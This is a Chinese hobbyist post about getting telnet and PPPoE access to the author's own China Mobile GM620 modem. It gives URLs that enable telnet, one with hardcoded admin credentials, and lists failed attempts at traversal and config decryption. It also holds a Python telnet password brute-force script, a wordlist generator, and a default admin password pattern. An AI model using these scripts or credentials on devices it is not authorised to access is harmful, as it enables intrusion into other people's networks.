最近自己家也安了移动的宽带,型号GM620
通过下面两个链接都能开启telnet
http://192.168.1.1/getpage.gch?pid=1002&nextpage=tele_sec_tserver_t.gch
http://192.168.1.1/usr=CMCCAdmin&psw=aDm8H%25MdA&cmd=1&telnet.gch
但是telnet密码始终找不到
尝试早期获取的方式
1.U盘备份配置,然后使用offzip解密
结果:可以备份,但是不能解密,文件头是一样的,文件内容不是简单的zip压缩,可能是某种对称加密算法
2.URL尝试http://192.168.1.1/cgi-bin/upgrade.asp
失败
3.URL尝试http://192.168.1.1/bridge_route.gch
失败,有部分教程是恢复出厂然后访问,由于怕注册不上,没有尝试恢复出厂再访问的请情况
3.URL尝试http://192.168.1.1/romfile.cfg
失败
4.ftp目录遍历尝试
失败
5.user登录管理usb存储菜单下载文件目录遍历尝试
失败,下载文件的功能按钮被屏蔽
6.使用密码字典
失败,尝试了所有8位数字密码和部分3字母+521后缀的密码
密码尝试
# -*- coding:utf-8 -*-
# 原作者:猫先生的早茶
# 修改者:高山流水
"""
从ip.txt文件中获取ip地址
从paswordlirbarys.txt文件中获取密码
尝试破解使用密码验证的telnet
"""
import socket, sys, time
import io
class Telnet():
def __init__(self):
pass
def read_file(self, filename):
with io.open(filename, 'r', encoding='utf-8') as read_file:
return read_file.read().split('\n')
def doConnect(self, host, port):
while True:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(30)
try:
sock.connect((host, port))
except:
print ('reconnect fail wait 6s 。。。')
time.sleep(6)
pass
else:
return sock
break
def login(self, ip, password_list, port=23):
# 创建客户端对象
client = socket.socket()
client.settimeout(30)
# 连接到目标主机
try:
client.connect((ip, port))
except:
print ("[-]Don't connect {}:{}".format(ip, port))
sys.exit()
else:
print ('[+]Connect Sussful!')
# 发送\r\n等待1秒服务端回应登陆方式
client.send(b'\r\n')
time.sleep(0.1)
print ('[+]等待服务器响应中。。。')
# 接受服务器回应的数据
data = client.recv(65535)
print (data)
# 输入用户名
client.send('CMCCAdmin'.encode('utf-8') + b'\r\n')
# 接受服务器返回的数据
time.sleep(0.1)
# 接受服务器回应的数据
data = client.recv(65535)
print (data)
# 检测是否要输入密码
if b'Password' in data:
for password in password_list:
print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
# 输入密码
print ('[-]正在尝试使用密码:{} 登陆{}'.format(password, ip))
client.send(password.encode('utf-8') + b'\r\n')
# 接受服务器返回的数据
time.sleep(0.1)
print ('[+]等待服务器回应中。。。')
# 清楚缓存并接受服务器数据
temp_data = b''
temp_data = client.recv(8192)
print (temp_data)
# 判断登陆成功,如果成功则退出破解
if b'>' in temp_data or b'#' in temp_data or b'$' in temp_data:
print ("[+]Login Sussful!{}:{} password:{}".format(ip, port, password))
break
# 判断接受到的是报错信息
if b'Password is incorrect' in temp_data or b'Error: The password is invalid.' in temp_data or b'%Username or password is invalid.' in temp_data and b'Password:' not in temp_data:
while True:
# 当收到错误信息,发送\r\n模拟用户敲回车
client.close()
# 创建客户端对象
client = socket.socket()
try:
client.connect((ip, port))
except socket.error :
print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
print '\r\n socker error re connection '
time.sleep(6)
client = self.doConnect(ip, port)
except:
print '\r\nother error occur '
time.sleep(3)
sys.exit()
client.send(b'\r\n')
time.sleep(0.1)
data = client.recv(65535)
print (data)
# 输入用户名
client.send('CMCCAdmin'.encode('utf-8') + b'\r\n')
time.sleep(0.1)
# 清除缓存
temp_data = b''
# 接受用户数据
temp_data = client.recv(8192)
print (temp_data)
# 检测是否可以输入密码
if b'Password:' in temp_data:
break
def main(self):
# 读取ip文件
ip_list = self.read_file('ip.txt')
# 读取密码文件
password_list = self.read_file('paswordlirbarys.txt')
# 尝试登陆
for ip in ip_list[:1]:
self.login(ip, password_list)
telnet = Telnet()
telnet.main()
字典生成
# -*- coding:utf-8 -*-
import io
import itertools
import datetime
import time
def generatelibary(library, length=6):
libararys =itertools.product(library,repeat=length)
with io.open("paswordlirbarys.txt","a",encoding='utf-8') as dic:
for i in libararys:
dic.write(u"".join(i))
dic.write(u"".join(u"521"))
dic.write(u"".join(u"\n"))
if __name__ == "__main__":
lowercase = 'abcdefghijklmnopqrstuvwxyz'
uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
digits = '0123456789'
special = """!"#$%&'( )*+,-./:;<=>?@[]^_`{|}~"""
word = lowercase + uppercase + digits + special
word2 = lowercase+uppercase
starttime = datetime.datetime.now()
print(time.strftime("%Y%m%d%H%M%S", time.localtime(time.time())))
generatelibary(word2,length=4)
endtime = datetime.datetime.now()
print(time.strftime("%Y%m%d%H%M%S", time.localtime(time.time())))
print('The time cost: ')
print(endtime - starttime)
结论,早期的方法几乎失败了,再有可能是拆机TTL/记配置恢复出厂进选地区页了。由于家里人在用,拆机工具不全先放弃了。
我们只能降低要求找PPPoE密码,
正常情况下用户名可以直接看,一般是手机号。非移动手机绑定的是其他。
大部分地区默认的PPPoE密码是手机号后六位
GM620和GM220一样,密码显示*,F12方式查看也显示*,保存的时候,若密码不更改,表单不会提交密码字段。这个设计也挺周到。
不过光猫预留了两个菜单可以进行验证猜测pppoe密码
1.业务仿真模拟拨号,仿真结果可以看到密码对不对。注意拨号时会断网。
2.端口镜像抓取PPPoE的报文,源端口可以设置单个链接或者物理端口,观察口可以设置LAN1~LAN4,可能是我笔记本或者软件的原因,能看到报文,但似乎只有一个方向的报文。这个方法似乎能看到PPPoE的响应报文。但是密码是放在请求报文里的。要是两个方向的报文在观察口都能找到就好了。过段时间找个好点的电脑收集一下或许会有收获。
通过上面的方式,验证了pppoe的密码,改桥接应该就好改了。
update20210526:根据网友lij365提示telnet账号为CMCCAdmin 密码为光猫背后的登录密码加上@C1,经过验证密码有效,我这个非移动号申请的移动单宽带密码为12345678,账号为400087558320159XXXXXXXX@net